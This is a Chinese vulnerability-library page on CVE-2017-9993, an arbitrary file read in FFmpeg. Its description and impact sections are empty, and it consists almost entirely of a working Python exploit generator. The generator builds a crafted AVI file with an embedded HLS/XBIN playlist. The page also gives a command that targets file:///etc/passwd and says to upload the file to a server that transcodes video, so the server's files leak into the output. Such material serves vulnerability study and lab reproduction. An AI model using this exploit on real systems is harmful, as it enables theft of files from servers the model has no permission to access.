menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2017-9993)Ffmpeg 任意文件读取漏洞 chevron_right (CVE-2017-9993)Ffmpeg 任意文件读取漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2017-9993)Ffmpeg 任意文件读取漏洞.md
    5.88 KB / 2021-07-15 19:52:58
        Ffmpeg 任意文件读取漏洞
    =======================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    使用exp生成payload
    
        ./gen_xbin_avi.py file:///etc/passwd exp.avi
    
    生成exp.avi,在`http://www.0-sec.org:8080/`上传。后端将会将你上传的视频用ffmpeg转码后显示,转码时因为ffmpeg的任意文件读取漏洞,可将文件信息读取到视频中:
    
    ![](./resource/(CVE-2017-9993)Ffmpeg任意文件读取漏洞/media/rId24.png)
    
    ### poc
    
        #!/usr/bin/env python3
        import struct
        import argparse
        import random
        import string
    
        AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST    movi"
    
        ECHO_TEMPLATE = """### echoing {needed!r}
        #EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
        #EXTINF:1,
        #EXT-X-BYTERANGE: 16
        /dev/zero
        #EXT-X-KEY: METHOD=NONE
        """
    
        # AES.new('\x00'*16).decrypt('\x00'*16)
        GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'
    
        FULL_PLAYLIST = """#EXTM3U
        #EXT-X-MEDIA-SEQUENCE:0
        {content}
        #### random string to prevent caching: {rand}
        #EXT-X-ENDLIST"""
    
        EXTERNAL_REFERENCE_PLAYLIST = """
        ####  External reference: reading {size} bytes from {filename} (offset {offset})
        #EXTINF:1,
        #EXT-X-BYTERANGE: {size}@{offset}
        {filename}
        """
    
        XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
    
    
        def echo_block(block):
            assert len(block) == 16
            iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
            return ECHO_TEMPLATE.format(needed=block, iv=iv)
    
    
        def gen_xbin_sync():
            seq = []
            for i in range(60):
                if i % 2:
                    seq.append(0)
                else:
                    seq.append(128 + 64 - i - 1)
            for i in range(4, 0, -1):
                seq.append(128 + i - 1)
            seq.append(0)
            seq.append(0)
            for i in range(12, 0, -1):
                seq.append(128 + i - 1)
            seq.append(0)
            seq.append(0)
            return seq
    
    
        def test_xbin_sync(seq):
            for start_ind in range(64):
                path = [start_ind]
                cur_ind = start_ind
                while cur_ind < len(seq):
                    if seq[cur_ind] == 0:
                        cur_ind += 3
                    else:
                        assert seq[cur_ind] & (64 + 128) == 128
                        cur_ind += (seq[cur_ind] & 63) + 3
                    path.append(cur_ind)
                assert cur_ind == len(seq), "problem for path {}".format(path)
    
    
        def echo_seq(s):
            assert len(s) % 16 == 0
            res = []
            for i in range(0, len(s), 16):
                res.append(echo_block(s[i:i + 16]))
            return ''.join(res)
    
    
        test_xbin_sync(gen_xbin_sync())
    
        SYNC = echo_seq(gen_xbin_sync())
    
    
        def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
            content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
            packet = b'00tx' + struct.pack('<I', len(content)) + content
            dcpkt = b'00dc' + struct.pack('<I',
                                          fake_packet_len) + b'\x00' * fake_packet_len
            return AVI_HEADER + packet + dcpkt * fake_packets
    
    
        def gen_xbin_packet_header(size):
            return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])
    
    
        def gen_xbin_packet_playlist(filename, offset, packet_size):
            result = []
            while packet_size > 0:
                packet_size -= 16
                assert packet_size > 0
                part_size = min(packet_size, 64)
                packet_size -= part_size
                result.append(echo_block(gen_xbin_packet_header(part_size)))
                result.append(
                    EXTERNAL_REFERENCE_PLAYLIST.format(
                        size=part_size,
                        offset=offset,
                        filename=filename))
                offset += part_size
            return ''.join(result), offset
    
    
        def gen_xbin_playlist(filename_to_read):
            pls = [echo_block(XBIN_HEADER)]
            next_delta = 5
            for max_offs, filename in (
                    (5000, filename_to_read), (500, "file:///dev/zero")):
                offset = 0
                while offset < max_offs:
                    for _ in range(10):
                        pls_part, new_offset = gen_xbin_packet_playlist(
                            filename, offset, 0xf0 - next_delta)
                        pls.append(pls_part)
                        next_delta = 0
                    offset = new_offset
                pls.append(SYNC)
            return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
                random.choice(string.ascii_lowercase) for i in range(30)))
    
    
        if __name__ == "__main__":
            parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
            parser.add_argument(
                'filename',
                help='filename to be read from the server (prefix it with "file://")')
            parser.add_argument('output_avi', help='where to save the avi')
            args = parser.parse_args()
            assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
            content = gen_xbin_playlist(args.filename)
            avi = make_playlist_avi(content)
            output_name = args.output_avi
    
            with open(output_name, 'wb') as f:
                f.write(avi)
    
    参考链接
    --------
    
    > https://vulhub.org/\#/environments/ffmpeg/phdays/
    
    
    links
    file_download